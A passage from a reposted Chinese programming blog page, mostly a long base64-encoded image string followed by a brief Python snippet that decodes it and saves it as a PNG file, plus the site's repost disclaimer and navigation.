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'img_data = base64.b64decode(url) 返回的是二进制数据print(type(img_data))fn = open('code.png','wb')fn.write(img_data)fn.close()'''我们打开了一个有base64加密的图片数据''' 本篇文章为转载内容。原文链接:https://blog.csdn.net/httpsssss/article/details/116136614。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-01 12:40:55
564
转载
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
pgrep process_name
- 查找与进程名匹配的进程ID。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"